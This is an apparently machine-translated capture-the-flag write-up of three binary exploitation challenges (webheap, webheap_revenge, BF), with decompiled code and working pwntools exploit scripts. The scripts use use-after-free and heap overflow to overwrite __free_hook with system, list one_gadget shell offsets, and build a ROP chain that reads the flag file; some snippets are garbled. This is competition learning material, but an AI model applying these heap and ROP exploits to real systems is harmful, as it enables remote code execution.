Foreword: It was too difficult. I didn’t sign up for the competition. My teammates sent two questions, webpwn. At first, it felt like an httpd question. In the end, it took a long time to find out that it was a VM http web heap question. It took a long time to debug the inverse parameters. I’m too naive. I feel that if these two questions are understood inversely, it will be easy to do. It is mainly about the inverse parameters. Reverse flow for this problem
According to the normal reverse thinking, first general audit, find the main function, in the main function, find the logic of each function, find the logic of each function, and then expand to see
webheap:
The main functions of this question are as follows
When receiving and sending packets, mainly complete the sending of packets, but this function does not do any conversion
v7 = __readfsqword(0x28u); std::operator<<<std::char_traits<char>>(&std::cout, "Packet length: "); std::istream::operator>>(&std::cin, &v5); if ( v5 > 0x1000 ) { v1 = std::operator<<<std::char_traits<char>>(&stcd::cout, "The packet is too large"); std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); exit(-1); } std::operator<<<std::char_traits<char>>(&std::cout, "Content: "); std::allocator<char>::allocator(&buf); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(a1, v5, 0LL, &buf); std::allocator<char>::~allocator(&buf); for ( i = 0LL; i < v5; ++i ) { read(0, &buf, 1uLL); v2 = buf; *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, i) = v2; } return a1; }
The second parameter is to accept and process the data sent, but the function here is very complicated, repeat the test and send, and then meet many conditions, it is recommended to combine dynamic debugging, because it is very complicated without dynamic debugging, I started There is no dynamic debugging, which leads to hard reading. The amount of code is very complicated. It is not recommended to hard reading. Here are the main functions to process data.
_DWORD *__fastcall chuanschuli(_DWORD *a1, unsigned __int8 a2, _QWORD *a3, __int64 a4) { switch ( a2 ) { case0x80u: sub_3427(a1, a3, a4); // 1bytes break; case0x81: sub_34D0(a1, a3, a4); // 2bytes break; case0x82: sub_357B(a1, a3, a4); // 4bytes break; case0x83: sub_3625(a1, a3, a4); // 5bytes break; default: *a3 = a2; *a1 = 0; no_error((__int64)a1); break; } return a1; This is mainly to determine the data determined by the transmission parameters }
Probably the process has been reversed, and the next step is to combine gdb-pwndbg to carry out the next step. It is extremely complicated here, and debugging has been adjusted all morning.
After all the parameters are constructed, the next step is to directly find holes to play
After discovering the UAF, you can directly follow the conventional ideas. You can find a way to write the parameters of the functions such as add, show, and edit through dynamic debugging and reverse analysis. In fact, the previous reverse process takes a lot of time, but the reverse understands the parameters and finds it. The hole was punched directly, it took 15 minutes
for i inrange(9): add(i,0x400,'aaaaa') for i inrange(7): delete(i) delete(7) for i inrange(7): add(i,0x400,'aaaa') gdb.attach(p) add(7,0x300,'') raw_input() show(7) libc_base=u64(p.recvline()[-7:-1].ljust(0x8, b'\x00'))-0x3ec090 print(hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] system=libc_base+libc.sym['system'] ''' 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a2fc execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' rce1=libc_base+0x4f2a5 rce2=libc_base+0x4f302 rce3=libc_base+0x10a2fc #for i in range(7): # delete(i)
#edit(6,p64(free_hook-8)) #add(7,0x400,'a') #add(5,0x400,p64(rce1)) #gdb.attach(p) #edit(5,p64(rce1)) #raw_input() printhex(free_hook) for i inrange(7): add(i,0x80) for i inrange(7): delete(i) edit(6,p64(free_hook)) add(10,0x80) add(11,0x80) edit(11,p64(system)) edit(10,'/bin/sh\x00') delete(10) p.interactive()
webheap_revenge:
This question is the same as the previous one. You can even directly use the above script function parameters to type it. I heard that it is an upgraded version of the previous question, but I did not see any upgrades. After passing the test, there is any heap overflow, which is better than the previous one. A little more complicated. It is when the heap is laid out, the layout is too messy, which leads to a period of self-closing, and then after re-layout, it can be played, directly hit freehook as system, and then rce
for i inrange(9): add(i,0x400,'aaaaa') for i inrange(7): delete(i) delete(7) for i inrange(7): add(i,0x400,'aaaa') add(7,0x300,'') show(7) libc_base=u64(p.recvline()[-7:-1].ljust(0x8, b'\x00'))-0x3ec090 print(hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] system=libc_base+libc.sym['system'] ''' 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a2fc execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' rce1=libc_base+0x4f2a5 rce2=libc_base+0x4f302 rce3=libc_base+0x10a2fc #for i in range(7): # delete(i)
#edit(6,p64(free_hook-8)) #add(7,0x400,'a') #add(5,0x400,p64(rce1)) #gdb.attach(p) #edit(5,p64(rce1)) #raw_input() printhex(free_hook) #for i in range(7): # add(i,0x80) #for i in range(7): # delete(i) #edit(6,p64(free_hook)) #add(10,0x80) #add(11,0x80) #edit(11,p64(system)) #edit(10,'/bin/sh\x00') #delete(10) delete(6) delete(7) delete(4) edit(5,'a'*0x400+p64(0)+p64(0x411)+p64(free_hook)) add(10,0x400) add(11,0x400) edit(10,'/bin/sh\x00') edit(11,p64(system)) delete(10) gdb.attach(p) p.interactive()
BF:
This question is an original question of the Southwest Division Competition, which directly uses the script of Master Kot to type the leaked address. This question limits the fd of read, and you can just close it directly. This question comes out after the game, and the complicated point is the fd. But close(0) can change fd
pie = u64(p.recvuntil(b'\x55')[-6:].ljust(0x8, b'\x00')) - 0x854 print(hex(pie))
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x24083 print(hex(libcbase)) ''' one = [0xe3afe, 0xe3b01, 0xe3b04] # print(hex(libcbase + one[0])) p.sendline(p64(one[2]+libcbase)) ''' pop_rdi = libcbase + 0x0000000000023b6a# pop rdi ; ret pop_rsi = libcbase + 0x000000000002601f# pop rsi ; ret pop_rdx = libcbase + 0x0000000000142c92# pop rdx ; ret op = libcbase + libc.symbols['open'] re = libcbase + libc.symbols['read'] wr = libcbase + libc.symbols['write'] pop_rax=libcbase+libc.search(asm("pop rax\nret")).next() close=libcbase+libc.sym['close'] syscall=libcbase+libc.search(asm("syscall\nret")).next() payload1=p64(pop_rdi)+p64(0)+p64(close)+p64(pop_rdi) payload+=p64(stack+8*21)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall) payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack+8*21)+p64(pop_rdx)+p64(0x50) payload+=p64(0)+p64(re)+p64(pop_rdi)+p64(1)+p64(wr)+'flag\x00\x00'
p.send(payload1)
p.interactive()
Summary: This question is difficult for me. It is difficult to reverse the code and debug. After debugging for a long time, I actually feel that these two questions are very good, because some time ago, many competitions put the questions in the latest libc, because it is impossible in actual combat. When I encounter new libc, I rarely encounter libc in actual combat. Even if I encounter libc, the version is relatively old. However, the two questions in this competition have increased the amount of code (inverse vector). Such questions are closer to actual combat and can be enhanced. In fact, the reverse ability and code audit are not pwn. In this web question, they are closer to actual combat. I feel that future competitions will be closer to actual combat.